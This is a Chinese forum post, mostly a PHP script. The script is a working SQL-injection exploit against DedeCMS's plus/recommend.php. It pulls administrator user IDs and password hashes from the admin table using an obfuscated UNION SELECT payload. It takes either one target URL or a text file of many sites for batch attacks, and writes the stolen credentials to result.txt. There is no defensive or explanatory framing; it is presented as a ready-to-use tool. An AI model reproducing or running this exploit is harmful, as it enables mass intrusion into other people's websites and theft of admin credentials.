|
下面说下功能, 可以单个使用也可以批量使用,单个使用直接输入url作为参数就行,批量则输入txt文件做参数。下面上代码:
- <?php
- class f4ck_dede{ //定义一个类
- public function exploit($xxx){ //一个执行exp的方法函数
- $url=str_replace("http://","",$xxx);
- $expurl="http://{$url}/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23";
- $ch=curl_init(); //通过PHP的curl扩展实现模拟访问,这个比较有意思,而且很多协议都支持,有兴趣的可以去http://cn2.php.net/curl看看
- curl_setopt($ch,CURLOPT_HEADER,0);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch,CURLOPT_REFERER,$expurl);
- curl_setopt($ch,CURLOPT_URL,$expurl);
- $out=curl_exec($ch);
- preg_match('~_<abc>(.*)</abc>_~',$out,$output);
- $output=str_replace("_<abc>|","",$output[0]);
- $output=str_replace("|</abc>_","",$output);
- $result="web:{$url} | result:{$output}
- ";
- echo $result;
- curl_close($ch);
- file_put_contents("result.txt",$result,FILE_APPEND); //将结果保存为本地文件
- }
- public function expp($argss){ //方法选择,单个还是批量,判断参数是文件就用批量,不是就是单个
- if (preg_match('~(.*)(\.txt)~',$argss)){
- $conts = file_get_contents($argss);
- $arrConts = explode("\n",$conts); //这段格式化我就直接copy大牛的了,http://sb.f4ck.org/thread-17307-1-1.html
- $arrConts=str_replace(" ","",$arrConts);
- $arrConts=str_replace("\r","",$arrConts);
- $arrConts=str_replace("\n","",$arrConts);
- for($i=0;isset($arrConts[$i]);$i++){
- $this->exploit($arrConts[$i]);
- }
- }
- elseif (isset($argss)){
-
- $xx=$argss;
- $this->exploit($xx);
-
- }
- }
- }
- set_time_limit(0);
- print_r("
- ++++++++++++++++++++++++++++++++++++++++++++++
- + dede exp +
- + usage:dede.php url(or url.txt) +
- + example:dede.php www.xxx.com(or url.txt) +
- + by h2y +
- +++++++++++++++++++++++++++++++++++++++++++++\n\n\n
- ");
- @$website=$argv[1];
- $eexp=new f4ck_dede(); //新建一个对象
- @$eexp->expp($argv[1]); //调用类方法
- ?>
复制代码 |
|